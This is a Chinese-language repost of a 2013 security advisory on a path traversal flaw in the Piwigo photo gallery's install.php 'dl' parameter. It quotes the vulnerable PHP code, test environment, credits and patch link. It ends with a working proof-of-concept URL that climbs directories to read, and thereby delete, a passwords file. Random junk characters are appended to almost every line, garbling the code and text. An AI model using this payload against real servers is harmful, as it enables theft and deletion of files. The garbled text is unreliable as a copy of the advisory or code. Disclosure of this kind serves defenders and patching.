Piwigo是用PHP编写的相册脚本。
4 y" I3 X( Z6 E: r! D9 E$ ~* D% \7 \- }
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
) I2 A4 z3 n- K; I2 h. ?====================================================================
# ~' g: s3 K$ }+ B3 C/install.php:
7 o8 h0 l+ [6 }" P: @& A-------------
8 @- l ]6 s8 |2 @: H; Y113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])) |7 b" X( Q. `$ d
114: {/ f4 v! v0 `( }
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];4 q' N/ ]" G, v
116: header('Cache-Control: no-cache, must-revalidate');! t5 d+ } I9 O; H
117: header('Pragma: no-cache');& R% ~; { t9 q- U3 E0 ^
118: header('Content-Disposition: attachment; filename="database.inc.php"');" } Z- Y& W4 s6 E
119: header('Content-Transfer-Encoding: binary');
' J. M1 ~& v$ e. ^, C6 x. W. z120: header('Content-Length: '.filesize($filename));2 o) Y+ z, I8 N4 r0 B F
121: echo file_get_contents($filename);7 O4 p$ L# i$ T
122: unlink($filename);
& ]! r" ^, E7 W4 S123: exit();3 v; u* m! ]6 I8 x
124: }
m- ~& Q. h; L( [' j; r9 |====================================================================
1 M7 l% E% U1 g# s$ k k, d- ^
. b) s) N+ {$ l9 S) `8 UTested on: Microsoft Windows 7 Ultimate SP1 (EN)
+ J. A7 i; d2 a2 u( O; t0 v- J( _ Apache 2.4.2 (Win32)
1 ~/ w( G7 F& s, o/ r3 s1 B6 j6 m/ O PHP 5.4.42 N% G6 y0 M! Q5 P D9 w1 t9 O
MySQL 5.5.25a
( ]2 m- o) y# t3 g. S( |# t
9 u* _2 t" Z: h `5 ^Vulnerability discovered by Gjoko 'LiquidWorm' Krstic" r3 P6 _/ s! X( H) E
@zeroscience
/ m& |0 s. a0 y3 ^0 k# v
+ d* x) w8 e' ^. gAdvisory ID: ZSL-2013-5127
4 o8 n F# t3 ^( Q- V& o& g* S2 z9 ZAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php3 V, h3 ^! x6 z- j I2 @
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843% K/ O( I; _3 m0 F! I% h) }
0 Y5 k b7 {% e$ x3 H" {
15.02.2013" Z, P' F4 q. x1 v
' K0 [4 L. q% W2 }% Z* j. G
--! A4 Z" J0 U5 a& I) T5 t
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
) Z$ \- q; ~6 L# V! F8 H 3 H" q4 e6 J; x
|